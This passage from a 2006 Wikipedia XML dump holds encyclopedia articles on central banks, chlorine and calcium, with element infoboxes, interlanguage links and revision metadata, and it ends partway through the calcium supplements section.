[[it:Valuta]]
[[ja:通貨]]
[[ka:ვალუტა]]
[[ko:통화]]
[[lt:Valiuta]]
[[nl:Lijst van munteenheden]]
[[nn:Valuta]]
[[no:Valuta]]
[[pl:Waluta]]
[[pt:Moeda]]
[[ru:Валюта]]
[[simple:Currency]]
[[sr:Валута]]
[[sv:Valuta]]
[[th:สกุลเงิน]]
[[uk:Валюта]]
[[zh:流通貨幣]]</text>
    </revision>
  </page>
  <page>
    <title>Central bank</title>
    <id>5666</id>
    <revision>
      <id>42096444</id>
      <timestamp>2006-03-03T20:26:26Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Adding: cs</comment>
      <text xml:space="preserve">[[image:Reserve-Bank-of-India.jpg|thumb|240px|[[Reserve Bank of India]] in [[Mumbai]], [[India]].]]
A '''central bank''', '''reserve bank''' or '''monetary authority''', is an entity responsible for the [[monetary policy]] of its [[country]] or of its group of member states, such as in the [[European Union]]. Its primary responsibility is to maintain the stability of the national [[currency]] and [[money supply]], but more active duties include controlling subsidized [[loan]] [[interest rates]], and acting as a &quot;bailout&quot; [[lender of last resort]] to the [[bank|banking sector]] during times of financial [[crisis]] (private banks often being integral to the national financial system).

It may also have supervisory powers to ensure that banks and other financial institutions do not behave recklessly or fraudulently. A central bank is usually headed by a Governor, President in the case of the European Central Bank or Chief Executive/Managing Director in the case of  Hong Kong Monetary Authority and Monetary Authority of Singapore.

In most countries the central bank is state-owned and has a minimal degree of autonomy, which allows for the possibility of [[government]] intervening in monetary policy. An &quot;independent central bank&quot; is one which operates under rules designed to prevent political interference; examples include the [[United_States|US]] [[Federal Reserve]], the [[Bank of England]] (since 1997), [[Reserve Bank of India]] ([[1935]]), the [[Deutsche Bundesbank]], the [[Bank of Canada]] and the [[European Central Bank]].

==Activities and responsibilities==
Functions of a central bank (not all functions carried out by all banks):
* monopoly on the issue of banknotes 
* the Government's banker and the bankers' bank (&quot;Lender of Last Resort&quot;)
* manages the country's foreign exchange and gold reserves and the Government's stock register; 
* regulation and supervision of the banking industry;
* setting the official interest rate - used to manage both [[inflation]] and the country's [[exchange rate]].

The central bank's main responsibility is the management of monetary policy to ensure a stable economy, including a stable currency. It aims to manage [[inflation]] (rising average prices) as well as [[deflation]] (falling prices). It is the lender of last resort, and will (at a price) assist banks in cases of financial distress (see also [[bank run]]s).

Furthermore, it will hold [[foreign exchange reserves]] (usually in the form of [[government bond]]s) and [[official gold reserves]], and will often have some influence over [[exchange rate]]s.  Some exchange rates are managed, some are market based (free float) and many are somewhere in between (&quot;managed float&quot; or &quot;dirty float&quot;). 

Typically a central bank controls certain types of short-term [[interest rate]]s. These influence the [[stock market|stock-]] and [[bond market]]s as well as [[mortgage]] and other interest rates. The [[European Central Bank]] for example announces its interest rate at the meeting of its Governing Council (in the case of the [[Federal Reserve]], the [[Board of Governors]]). 

Both the Federal Reserve and the ECB are composed of one or more central bodies that are responsible for the main decisions about interest rates and the size and type of open market operations, and several branches to execute its policies. In the case of the Fed, they are the local Federal Reserve Banks, for the ECB they are the national central banks.

==Instruments of monetary policy==

===Open Market Operations===

Through [[open market operation]]s, a central bank influences the money supply in an economy directly. Each time it buys [[security (finance)|securities]], exchanging money for the security, it raises the money supply. Conversely, selling of securities lowers the money supply. Buying of securities thus amounts to printing new money while lowering supply of the specific security.

The main open market operations are:
* Temporary lending of money for [[collateral]] securities (&quot;Reverse Operations&quot;). These operations are carried out on a regular basis, where fixed [[maturity]] loans (of 1 week and 1 month for the ECB) are auctioned off.
* Buying or selling securities (&quot;Direct Operations&quot;) on ad-hoc basis.
* [[Foreign exchange]] operations such as [[forex swap]]s.

All of these interventions can also influence the [[foreign exchange]] market and thus the exchange rate. For example the [[People's Bank of China]] and the [[Bank of Japan]] have on occasion bought several hundred billions of [[Treasury security|U.S. Treasuries]], presumably in order to stop the decline of the [[United States dollar|U.S. dollar]] versus the [[Renminbi]] and the [[Yen]].

===Interest rates===

A central bank has several [[interest rate]]s it can set to influence markets. 
*'''Marginal Lending Rate''' (currently 3% in the Eurozone) A fixed rate for institutions to borrow money from the CB.
*'''Main Refinancing Rate''' (2% in the Eurozone) This is the publicly visible interest rate the central bank announces. It is also known as ''Minimum Bid Rate'' and serves as a bidding floor for refinancing loans (In the US this is called the [[Discount rate]]).
*'''Deposit Rate''' (1% in the Eurozone) The rate parties receive for deposits at the CB.

These rates directly affect the rates in the [[money market]], the market for short term loans.

===Reserve requirements===

Many banks are required to delegate a percentage of their deposits as [[reserves]]. Such legal [[reserve requirements]] were introduced in the nineteenth century to reduce the risk of banks overextending themselves and suffering from [[bank run]]s, as this could lead to knock-on effects on other banks. See also [[money multiplier]].

===Capital Requirements===
Reserve requirements have now largely been replaced as a tool by [[capital requirements]]. Rather than x% of liabilities being held as [[cash]], banks are these days required to hold y% of their assets as capital. For international banks, the threshold is 8% (see the [[Basel Capital Accords]].

This acts similarly to a deposit requirement in that it prevents indefinite lending: when at the threshold, a bank cannot extend another loan without acquiring further capital on its balance sheet.

==Banking supervision and other activities==

In some countries a central bank through its subsidiaries controls and monitors the banking sector. In other countries banking supervision is carried out by a government department such as The Ministry of Finance, or an independent government agency (eg UK's [[Financial Services Authority]]). It examines the banks' [[balance sheet]]s and behaviour and policies toward [[consumers]]. Apart from refinancing, it also provides banks with services such as transfer of funds, [[bank notes]] and [[coin]]s or foreign currency. Thus it is often described as the &quot;bank of banks&quot;.

==Independence==

Advocates of central bank independence argue that a central bank which is too susceptible to political direction or pressure may encourage economic cycles (&quot;[[boom and bust]]&quot;), as politicians may be tempted to boost the economy in advance of an election, to the detriment of the long-term health of the economy. In addition, it is argued that an independent central bank can run a more [[credible]] monetary policy, making market [[expectation]]s more responsive to signals from the central bank. Recently, both the Bank of England and the European Central Bank have been made independent and follow a set of published [[inflation targetting|inflation targets]] so that markets know what to expect.

Governments generally have some degree of influence over even &quot;independent&quot; central banks; the aim of independence is primarily to prevent short-term interference. For example, the chairman of the U.S. Federal Reserve Bank is appointed by the [[President of the U.S.]], and his choice must be confirmed by the [[Congress of the United States|Congress]].

==History==
The oldest central bank in the world is the [[Bank of Sweden]], which was opened in [[1668]] with help from [[Dutch]] businessmen. This was followed in [[1694]] by the [[Bank of England]], created by a businessman in the [[City of London]] at the request of the [[English]] government to help pay for a war. The [[US Federal Reserve]] was created by the [[U.S. Congress]] through the passing of the [[Glass-Owen Bill]], signed by President [[Woodrow Wilson]] on [[December 23]], [[1913]].

==See also== 
*[[List of central banks]]
*[[National bank]]
*[[Currency board]]
*[[Global financial system]]
*[[Macroeconomics]]
*[[Monetary policy of central banks]]
*[[Repurchase agreement]]
*[[Irish Property Bubble]]
*[[Central Bank and Financial Services Authority of Ireland]]
*[[Free banking]]

==External links==
*[http://www.federalreserve.gov/ Federal Reserve Board]
*[http://www.ecb.int European Central Bank]
*[http://www.bankofcanada.ca Canadian Central Bank]
*[http://www.stlouisfed.org/publications/pleng/default.html Paper about the workings of the Fed]
*[http://www.ecb.int/pub/pdf/other/monetarypolicy2004en.pdf The ECB System]
*[http://www.bis.org/cbanks.htm Complete listing of central banks]
*[http://www.law.nyu.edu/centralbankscenter/banks/ Central Banks: Alphabetical Listing]
*[http://www.centralbanking.co.uk/links/index.htm Other list of central banks] - linked 18/02/2006

{{finance-footer}}

[[Category:Central banks| ]]
&lt;!-- The below are interlanguage links. --&gt;

[[cs:Centrální banka]]
[[de:Zentralbank]]
[[es:Banco central]]
[[fa:بانک مرکزی]]
[[fr:Banque centrale]]
[[ko:중앙 은행]]
[[hr:Središnja banka]]
[[it:Banca centrale]]
[[nl:Centrale bank]]
[[ja:中央銀行]]
[[pl:Bank centralny]]
[[pt:Banco central]]
[[ru:Центральный банк]]
[[sr:Централна банка]]
[[fi:Keskuspankki]]
[[sv:Centralbank]]
[[zh:中央银行]]</text>
    </revision>
  </page>
  <page>
    <title>Chlorine</title>
    <id>5667</id>
    <revision>
      <id>41795485</id>
      <timestamp>2006-03-01T20:27:57Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/199.195.109.4|199.195.109.4]] ([[User talk:199.195.109.4|Talk]]) to last version by 206.107.114.12</comment>
      <text xml:space="preserve">{{Elementbox_header | number=17 | symbol=Cl | name=chlorine | left=[[sulfur]] | right=[[argon]] | above=[[fluorine|F]] | below=[[bromine|Br]] | color1=#ffff99 | color2=black }}
{{Elementbox_series | [[halogen]]s }}
{{Elementbox_groupperiodblock | group=17 | period=3 | block=p }}
{{Elementbox_appearance_img | Cl,17| yellowish green }}
{{Elementbox_atomicmass_gpm | [[1 E-26 kg|35.453]][[List of elements by atomic mass|(2)]] }}
{{Elementbox_econfig | &amp;#91;[[neon|Ne]]&amp;#93; 3s&lt;sup&gt;2&lt;/sup&gt; 3p&lt;sup&gt;5&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 7 }}
{{Elementbox_section_physicalprop | color1=#ffff99 | color2=black }}
{{Elementbox_phase | [[gas]] }}
{{Elementbox_density_gplstp | 3.2 }}
{{Elementbox_meltingpoint | k=171.6 | c=-101.5 | f=-150.7 }}
{{Elementbox_boilingpoint | k=239.11 | c=-34.04 | f=-29.27 }}
{{Elementbox_heatfusion_kjpmol | (Cl&lt;sub&gt;2&lt;/sub&gt;) 6.406 }}
{{Elementbox_heatvaporiz_kjpmol | (Cl&lt;sub&gt;2&lt;/sub&gt;) 20.41 }}
{{Elementbox_heatcapacity_jpmolkat25 | (Cl&lt;sub&gt;2&lt;/sub&gt;)&lt;br /&gt;33.949 }}
{{Elementbox_vaporpressure_katpa | 128 | 139 | 153 | 170 | 197 | 239 | comment= }}
{{Elementbox_section_atomicprop | color1=#ffff99 | color2=black }}
{{Elementbox_crystalstruct | orthorhombic }}
{{Elementbox_oxistates | &amp;plusmn;'''1''', 3, 5, 7 &lt;br /&gt;(strongly [[acid]]ic oxide) }}
{{Elementbox_electroneg_pauling | 3.16 }}
{{Elementbox_ionizationenergies4 | 1251.2 | 2298 | 3822 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|100]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-11 m|79]] }}
{{Elementbox_covalentradius_pm | [[1 E-11 m|99]] }}
{{Elementbox_vanderwaalsrad_pm | [[1 E-10 m|175]] }}
{{Elementbox_section_miscellaneous | color1=#ffff99 | color2=black }}
{{Elementbox_magnetic | nonmagnetic }}
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{{Elementbox_thermalcond_wpmkat300k | 8.9 m}}
{{Elementbox_speedofsound_mps | (gas, 0 °C) 206 }}
{{Elementbox_cas_number | 7782-50-5 }}
{{Elementbox_isotopes_begin | isotopesof=chlorine | color1=#ffff99 | color2=black }}
{{Elementbox_isotopes_stable | mn=35 | sym=Cl | na=75.77% | n=18 }}
{{Elementbox_isotopes_decay2 | mn=36 | sym=Cl | na=[[synthetic radioisotope|syn]] | hl=[[1 E12 s|3.01&amp;times;10&lt;sup&gt;5&lt;/sup&gt;]] [[year|y]] | dm1=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de1=0.709 | pn1=36 | ps1=[[argon|Ar]] | dm2=[[electron capture|&amp;epsilon;]] | de2=- | pn2=36 | ps2=[[sulfur|S]] }}
{{Elementbox_isotopes_stable | mn=37 | sym=Cl | na=24.23% | n=20 }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffff99 | color2=black }}

'''Chlorine''' (from the [[Greek language]] ''Chloros'', meaning &quot;pale green&quot;), is the [[chemical element]] with [[atomic number]] 17 and symbol '''Cl'''. It is a [[halogen]], found in the [[periodic table]] in [[periodic table group|group]] 17.  As the [[chloride]] ion, which is part of [[common salt]] and other compounds, it is abundant in nature and necessary to most forms of life, including [[human]]s. As chlorine gas, it is [[green]]ish [[yellow]], is two and one half times as heavy as air, has an intensely disagreeable suffocating odor, and is exceedingly [[poison]]ous. In its liquid and solid form it is a powerful [[oxidation|oxidizing]], [[Bleach (chemical)|bleach]]ing, and disinfecting agent.

== Notable characteristics ==
The pure chemical element, has the physical form of a [[diatomic]] yellow-green gas, Cl&lt;sub&gt;2&lt;/sub&gt;. 

This element is a member of the [[salt]]-forming halogen series and is extracted from chlorides through [[oxidation]] and more commonly, by [[electrolysis]]. Chlorine is a greenish-yellow gas that combines readily with nearly all other elements. At 10°[[Celsius|C]] one [[liter]] of [[water]] dissolves 3.10 liters of chlorine and at 30 °C only 1.77 liters.

== Applications ==
Chlorine is an important chemical for some processes of [[water purification]], in [[disinfectant]]s, and in [[bleach]].  [[Ozone]] can also be used for killing bacteria, and is preferred by many municipal drinking water systems because ozone does not form organochlorine compounds and does not remain in the water after treatment. 

Chlorine is also used widely in the manufacture of many everyday items.
*Used (in the form of [[hypochlorous acid]]) to kill [[bacterium|bacteria]] and other microbes from [[drinking water]] supplies and [[swimming pool]]s. Even small water supplies are now routinely chlorinated. ''See'' [[chlorination]].
*Used widely in [[paper]] product production, antiseptic, dyestuffs, food, [[insecticide]]s, paints, petroleum products, plastics, medicines, textiles, solvents, and many other consumer products.

[[Organic chemistry]] uses this element extensively as an oxidizing agent and in [[substitution]] because chlorine often imparts many desired properties in an [[organic compound]] when it is substituted for [[hydrogen]] (as in [[synthetic rubber]] production).

Other uses are in the production of chlorates, [[chloroform]], [[carbon tetrachloride]], and in the [[bromine]] extraction.

== History ==
Chlorine ([[Greek language|Gr.]] &amp;chi;&amp;lambda;&amp;omega;&amp;rho;&amp;omicron;&amp;sigmaf;, greenish yellow) was discovered in [[1774]] by Swedish chemist [[Carl Wilhelm Scheele]], who mistakenly thought it contained [[oxygen]]. Chlorine was given its name in [[1810]] by [[Sir Humphry Davy]], who insisted that it was in fact an element.

Chlorine gas was first [[chemical warfare|used as a weapon]] against human beings in [[WWI]] on [[April 22nd]], [[1915]].

== Occurrence ==
In nature chlorine is found only as the [[chloride ion]].  Chlorides make up much of the [[salt]] dissolved in the Earth's [[ocean]]s&amp;mdash;about 1.9% of the mass of seawater is chloride ions.  Even higher concentrations of chloride are dissolved in the [[Dead Sea]] and in underground [[brine]] deposits.

Most chlorides are soluble in water, so solid chlorides are usually only found in abundance in dry climates, or deep underground.  Common chloride minerals include ''halite'' ([[sodium chloride]]), ''sylvite'' ([[potassium chloride]]), and ''[[carnallite]]'' (potassium magnesium chloride hexahydrate).

Industrially, elemental chlorine is usually produced by the [[electrolysis]] of sodium chloride dissolved in water.  Along with chlorine, this [[chloralkali process]] yields [[hydrogen]] gas and [[sodium hydroxide]], according to the [[chemical equation]]

:2 [[sodium chloride|NaCl]] + 2 [[water|H&lt;sub&gt;2&lt;/sub&gt;O]] &amp;rarr; Cl&lt;sub&gt;2&lt;/sub&gt; + [[hydrogen|H&lt;sub&gt;2&lt;/sub&gt;]] + 2 [[sodium hydroxide|NaOH]]

== Isotopes ==
There are two principal stable [[isotope]]s of chlorine, of mass 35 and 37, found in the relative proportions of 3:1 respectively, giving chlorine [[atom]]s in bulk an apparent atomic weight of 35.5. Chlorine has 9 isotopes with mass numbers ranging from 32 to 40. Only three of these isotopes occur naturally: stable Cl-35 (75.77%)and Cl-37 (24.23%), and [[radioactive]] Cl-36. The ratio of Cl-36 to stable Cl in the environment is about 700*10&lt;sup&gt;-15&lt;/sup&gt; to 1. Cl-36 is produced in the atmosphere by [[spallation]] of [[argon|Ar]]-36 by interactions with [[cosmic ray]] [[proton]]s. In the subsurface environment, Cl-36 is generated primarily as a result of [[neutron capture]] by Cl-35 or [[muon capture]] by [[calcium|Ca]]-40. Cl-36 decays to [[sulfur|S]]-36 and to [[argon|Ar]]-36, with a combined [[half-life]] of 308,000 years. The half-life of this [[hydrophilic]] nonreactive isotope makes it suitable for [[geologic dating]] in the range of 60,000 to 1 million years. Additionally, large amounts of Cl-36 were produced by irradiation of [[seawater]] during atmospheric detonations of [[nuclear weapon]]s between 1952 and 1958. The residence time of Cl-36 in the atmosphere is about 1 week. Thus, as an event marker of 1950s water in [[soil]] and [[ground water]], Cl-36 is also useful for dating waters less than 50 years before the present. Cl-36 has seen use in other areas of the geological sciences, including dating ice and sediments.

== Precautions ==
Chlorine irritates respiratory systems especially in children and the elderly. In its gaseous state it irritates [[mucous membrane]]s and when a liquid it burns [[skin]]. It takes as little as 3.5 [[part per million|ppm]] to be detected as a distinct odor, but it takes 1000 ppm or more to be fatal. Because of this, chlorine was one of the gases used during [[World War I]] as a [[chemical warfare|war gas]]. (See: [[Use of poison gas in World War I]])

Exposure to this gas should therefore not exceed 0.5 ppm (8-hour time-weighted average - 40 hour week.).

Acute exposure to high (but non-lethal) concentrations of Chlorine can result in [[pulmonary edema]], or fluid in the lungs, an extremely unpleasant condition. Chronic low-level exposure weakens the lungs, increasing susceptibility to other lung disorders.

Toxic fumes may be produced when [[Bleach (chemical)|bleach]] is mixed with [[urine]], [[ammonia]], [[hydrochloric acid]], or another cleaning product.  These fumes consist of a mixture of chlorine gas, [[chloramine]] and [[nitrogen trichloride]]; therefore these combinations should be avoided.

See also: [[Chlorofluorocarbon]]

== The chemical processes for extraction of chlorine gas ==
Chlorine can be manufactured via the [[electrolysis]] of a sodium chloride solution, ie. [[brine]].  There are three methods for the extraction of chlorine by electrolysis used industrially.

===Mercury cell electrolysis===
[[mercury (element)|Mercury]] cell [[electrolysis]] was the first method used to produce chlorine on an industrial scale.  [[Titanium]] [[anode]]s are located above a liquid mercury cathode, a solution of [[sodium chloride]] is positioned between the electrodes.  When an electrical current is applied, chloride is released at the titanium anodes, whilst the sodium dissolves into the mercury cathode forming an amalgam.

The [[amalgam]] can be [[regeneration|regenerated]] into mercury by reacting it with water, producing [[hydrogen]] and [[sodium hydroxide]].  These are useful byproducts.

This method consumes vast amounts of energy and there are also concerns about mercury [[emission]]s.

===Diaphragm cell electrolysis===
An [[asbestos]] diaphragm is deposited on an iron grid cathode preventing the chlorine forming at the anode and the sodium hydroxide forming at the cathode from re-mixing.

This method uses less energy than the mercury cell, but the sodium hydroxide is not as easily concentrated and precipitated into a useful substance.

===Membrane cell electrolysis===
The electrolysis cell is divided into two by a membrane acting as an [[ion exchange]]r.  Saturated sodium chloride solution is placed in the anode compartment whilst [[distillation|distilled]] water is placed in the cathodes compartment.

This method is nearly as efficient as the diaphragm cell and produces very pure sodium hydroxide.

===Other methods===

In a laboratory, small amounts of chlorine gas can be created by adding concentrated [[hydrochloric acid]] (typically about 5M) to [[sodium chlorate]] solution.

== Compounds ==
For General references to the Chloride ion (Cl&lt;sup&gt;&amp;minus;&lt;/sup&gt;&lt;/small&gt;, including references to specific Chlorides, see [[Chloride]]. For other Chlorine compounds see [[Chlorate]] (ClO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt;&lt;/small&gt;), [[Chlorite]] (ClO&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt;&lt;/small&gt;), [[Hypochlorite]](CLO&lt;sup&gt;&amp;minus;&lt;/sup&gt;&lt;/small&gt;), and [[Perchlorate]] (ClO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt;&lt;/small&gt;). See also
[[Chloramine]] (NH&lt;sub&gt;2&lt;/sub&gt;Cl),
[[Chlorine dioxide]] (ClO&lt;sub&gt;2&lt;/sub&gt;),
[[Chloric acid]] (HClO&lt;sub&gt;3&lt;/sub&gt;),
[[Chlorine monofluoride]] (ClF),
[[Chlorine trifluoride]] (ClF&lt;sub&gt;3&lt;/sub&gt;),
[[Chlorine pentafluoride]] (ClF&lt;sub&gt;5&lt;/sub&gt;)
[[Dichlorine monoxide]] (Cl&lt;sub&gt;2&lt;/sub&gt;O),
[[Dichlorine heptoxide]] (Cl2O&lt;sub&gt;7&lt;/sub&gt;),
[[hydrochloric acid]] (HCl),
[[Perchloric acid]] (HClO&lt;sub&gt;4&lt;/sub&gt;),


==References==
*[http://periodic.lanl.gov/elements/17.html Los Alamos National Laboratory &amp;ndash; Chlorine]

== External links ==
{{Commons|Chlorine}}
*[http://www.compchemwiki.org/index.php?title=Cl2 Computational Chemistry Wiki]
*[http://www.npi.gov.au/database/substance-info/profiles/20.html National Pollutant Inventory - Chlorine]
*[http://www.webelements.com/webelements/elements/text/Cl/index.html WebElements.com &amp;ndash; Chlorine]

{{Chemical warfare}}

[[Category:Chemical elements]]
[[Category:Halogens]]

{{Link FA|sk}}

[[af:Chloor]]
[[ar:كلور]]
[[bg:Хлор]]
[[ca:Clor]]
[[cs:Chlór]]
[[da:Klor]]
[[de:Chlor]]
[[et:Kloor]]
[[es:Cloro]]
[[eo:Kloro]]
[[fa:کلر]]
[[fr:Chlore]]
[[gl:Cloro (elemento)]]
[[ko:염소 (원소)]]
[[io:Kloro]]
[[is:Klór]]
[[it:Cloro]]
[[he:כלור]]
[[lv:Hlors]]
[[lt:Chloras]]
[[hu:Klór]]
[[mi:Hau māota]]
[[nl:Chloor]]
[[ja:塩素]]
[[no:Klor]]
[[nn:Klor]]
[[oc:Clòr]]
[[pl:Chlor]]
[[pt:Cloro]]
[[ro:Clor]]
[[ru:Хлор]]
[[sk:Chlór]]
[[sl:Klor]]
[[sr:Хлор]]
[[fi:Kloori]]
[[sv:Klor]]
[[th:คลอรีน]]
[[vi:Clo]]
[[tr:Klor]]
[[uk:Хлор]]
[[zh:氯]]</text>
    </revision>
  </page>
  <page>
    <title>Calcium</title>
    <id>5668</id>
    <revision>
      <id>41958483</id>
      <timestamp>2006-03-02T21:59:45Z</timestamp>
      <contributor>
        <ip>65.168.155.101</ip>
      </contributor>
      <text xml:space="preserve">:''See also [[Calcium, New York]], [[United States]].''
{{Elementbox_header | number=20 | symbol=Ca | name=calcium | left=[[potassium]] | right=[[scandium]] | above=[[magnesium|Mg]] | below=[[strontium|Sr]] | color1=#ffdead | color2=black }}
{{Elementbox_series | [[alkaline earth metal]]s }}
{{Elementbox_groupperiodblock | group=2 | period=4 | block=s }}
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{{Elementbox_atomicradius_pm | [[1 E-10 m|180]] }}
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{{Elementbox_section_miscellaneous | color1=#ffdead | color2=black }}
{{Elementbox_magnetic | [[paramagnetism|paramagnetic]] }}
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{{Elementbox_isotopes_stable | mn=40 | sym=Ca | na=96.941% | n=20 }}
{{Elementbox_isotopes_decay | mn=41 | sym=Ca | na=[[synthetic radioisotope|syn]] | hl=[[1 E12 s|1.03&amp;times;10&lt;sup&gt;5&lt;/sup&gt; y]] | dm=[[electron capture|&amp;epsilon;]] | de=- | pn=41 | ps=[[potassium|K]] }}
{{Elementbox_isotopes_stable | mn=42 | sym=Ca | na=0.647% | n=22 }}
{{Elementbox_isotopes_stable | mn=43 | sym=Ca | na=0.135% | n=23 }}
{{Elementbox_isotopes_stable | mn=44 | sym=Ca | na=2.086% | n=24 }}
{{Elementbox_isotopes_decay | mn=45 | sym=Ca | na=[[synthetic radioisotope|syn]] | hl=[[1 E7 s|162.7 d]] | dm=[[beta decay|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de=0.258 | pn=45 | ps=[[Scandium|Sc]] }}
{{Elementbox_isotopes_decay | mn=46 | sym=Ca | na=0.004% | hl=[[1 E19 s and more|&gt;2.8&amp;times;10&lt;sup&gt;15&lt;/sup&gt; y]] | dm=[[double beta decay|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de=? | pn=46 | ps=[[titanium|Ti]] }}
{{Elementbox_isotopes_decay2 | mn=47 | sym=Ca | na=[[synthetic radioisotope|syn]] | hl=[[1 E5 s|4.536 d]] | dm1=[[beta decay|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de1=0.694, 1.99 | pn1=47 | ps1=[[Scandium|Sc]] |
dm2=[[gamma ray|&amp;gamma;]] | de2=1.297 | pn2= | ps2=- }}
{{Elementbox_isotopes_decay | mn=48 | sym=Ca | na=0.187% | hl=[[1 E19 s and more|&gt;4&amp;times;10&lt;sup&gt;19&lt;/sup&gt; y]] | dm=[[double beta decay|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de=? | pn=48 | ps=[[titanium|Ti]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffdead | color2=black }}
'''Calcium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Ca''' and [[atomic number]] 20. Calcium is a soft grey [[alkaline earth metal]] that is used as a [[redox|reducing]] agent in the extraction of [[thorium]], [[zirconium]] and [[uranium]]. Calcium is also the fifth most abundant element in the earth's crust. It is essential for living [[organism]]s, particularly in cell physiology, and is the most common [[metal]] in many animals.

==Notable characteristics==
Calcium is a rather soft, grey metallic element that is purified by [[electrolysis]] from [[calcium fluoride]]. It burns with a yellow-red flame and forms a white [[nitride]] coating when exposed to air. It reacts with water displacing hydrogen and forming [[calcium hydroxide]].

Calcium is essential in muscle contraction, building strong bones and teeth, blood clotting, nerve impulse transmission, regulating heartbeat, and fluid balance within cells.
* 50%-75% of calcium comes from the dairy intake in daily diets.
* Most Americans do not consume the 1,200 mg of calcium per day that is needed.

The Calcium-40 isotope has a nucleus of 20 Protons and 20 Neutrons. Calcium has 20 electrons distributed as follows: 2 in the K shell (principal quantum number 1), 8 in the L shell (principal quantum number 2), 8 in the M shell (principal quantum number 3), and 2 in the N shell (principal quantum number 4). The outer shell is the valence shell, with 2 electrons in the lone 4s orbital, the 3 p orbitals being empty. See also [[electron configuration]]..

Calcium cannot be found alone in nature.  Calcium is found mostly as [[limestone]], [[gypsum]] and [[fluorite]]. [[Stalagmites]] and [[stalactites]] contain [[calcium carbonate]].

==Applications==
Calcium is an important component of a [[healthy diet]]. Its minor deficit can affect bone and teeth formation, while overretention can cause kidney stones. [[Vitamin D]] is needed to absorb calcium. [[Dairy product]]s, such as milk and cheese, are a well known source of calcium. However, some individuals are allergic to dairy products and even more people, particularly those of non-European descent, are [[Lactose intolerance|lactose-intolerant]], leaving them unable to consume dairy products. Fortunately, many other good sources of calcium exist. This includes seaweeds such as kelp, wakame and hijiki; nuts and seeds (like almonds and sesame), beans; seafood such as oysters and shrimp; soft-boned fish; amaranth; whole wheat; collard greens; okra;  rutabaga; broccoli; and fortified products such as orange juice and bread. 

For more information about Ca in living nature, see [[calcium in biology]] and [[calcium metabolism]].

Other uses include:
*[[Reducing agent]] in the extraction of other metals such as [[uranium]], [[zirconium]], and [[thorium]].
*Deoxidizer, desulfurizer, or decarburizer for various [[Iron|ferrous]] and nonferrous [[alloy]]s. 
*Alloying agent used in the production of [[aluminium]], [[beryllium]], [[copper]], [[lead]], and [[magnesium]] alloys.
*Removing ice on the streets and on the sidewalks in North America.
*It is also used in making [[cement]]s and [[Mortar (masonry)|mortar]] that are used in building.

==History==
Calcium ([[Latin]] ''calx,'' meaning &quot;lime&quot;) was known of as early as the first century when the [[Ancient Rome|Ancient Romans]] prepared lime as [[calcium oxide]].  It was not actually isolated until 1808 in [[England]] when [[Humphry Davy|Sir Humphrey Davy]] [[Electrolysis|electrolyzed]] a mixture of lime and mercuric oxide.  Davy was trying to isolate calcium and when he heard that Berzelius and Pontin prepared calcium amalgam by electrolyzing lime in mercury, he tried it himself.  He worked with electrolysis throughout his life and also discovered/isolated [[magnesium]], [[strontium]] and [[barium]].

==Compounds==
Calcium, combined with [[phosphate]] to form [[hydroxylapatite]], is the mineral portion of human and animal bones and teeth. The mineral portion of some [[coral|corals]] can also be transformed into hydroxylapatite.

[[Calcium oxide|Quicklime]] (Ca[[oxygen|O]]) is used in many chemical refinery processes and is made by heating and carefully adding water to [[limestone]]. When CaO is mixed with sand it hardens into a [[Mortar (masonry)|mortar]] and is turned into [[plaster]] by [[carbon dioxide]] uptake. Mixed with other compounds, CaO forms an important part of [[Portland cement]]. 

When water percolates through limestone or other soluble [[carbonate]] rocks, it partially dissolves part of the rock and causes cave formation and characteristic [[stalactite]]s and [[stalagmite]]s and also forms [[hard water]]. Other important calcium compounds are [[calcium nitrate|nitrate]], [[calcium sulfide|sulfide]], [[calcium chloride|chloride]], [[calcium carbide|carbide]], [[calcium cyanamide|cyanamide]], and [[calcium hypochlorite|hypochlorite]].

==Isotopes==
Calcium has four stable [[isotope]]s (Ca-40 and Ca-42 through Ca-44), plus two more isotopes (Ca-46 and [[Calcium 48|Ca-48]]) that have such long half-lives that for all practical purposes they can be considered stable. It also has a [[cosmogenic isotope]], [[radioactive]] Ca-41, which has a [[half-life]] = 103,000 years. Unlike [[cosmogenic isotope]]s that are produced in the [[Earth's atmosphere|atmosphere]], Ca-41 is produced by [[neutron]] activation of Ca-40. Most of its production is in the upper metre or so of the soil column where the cosmogenic neutron flux is still sufficiently strong. Ca-41 has received much attention in stellar studies because Ca-41 decays to K-41, a critical indicator of solar-system anomalies.

Naturally occurring calcium is 97% in the form of Ca-40. Ca-40 is one of the daughter products of K-40 decay, along with Ar-40. While [[K-Ar dating]] has been used extensively in the [[geology|geological]] sciences, the prevalence of Ca-40 in nature has impeded its use in dating. Techniques using [[mass spectrometry]] and a double spike isotope dilution have been used for [[Potassium|K]]-Ca age dating.

==Dietary calcium supplements==

There are conflicting recommendations about when to take calcium supplements. However, most experts agree that you should take no more than 500 mg at a time &amp;ndash; any excess goes to waste. Spread doses throughout the day, with the last dose near bedtime. Recommended daily calcium intake varies from 1000 to 1500 milligrams, depending upon the stage of life.

*Calcium carbonate is the most common and least expensive calcium supplement. It can be difficult to digest and causes gas in some people. Taking magnesium with it can help to prevent constipation. Calcium carbonate is 40% elemental calcium. 1000 mg  will provides 400 mg of calcium. Take this supplement with food to aid in absorption.

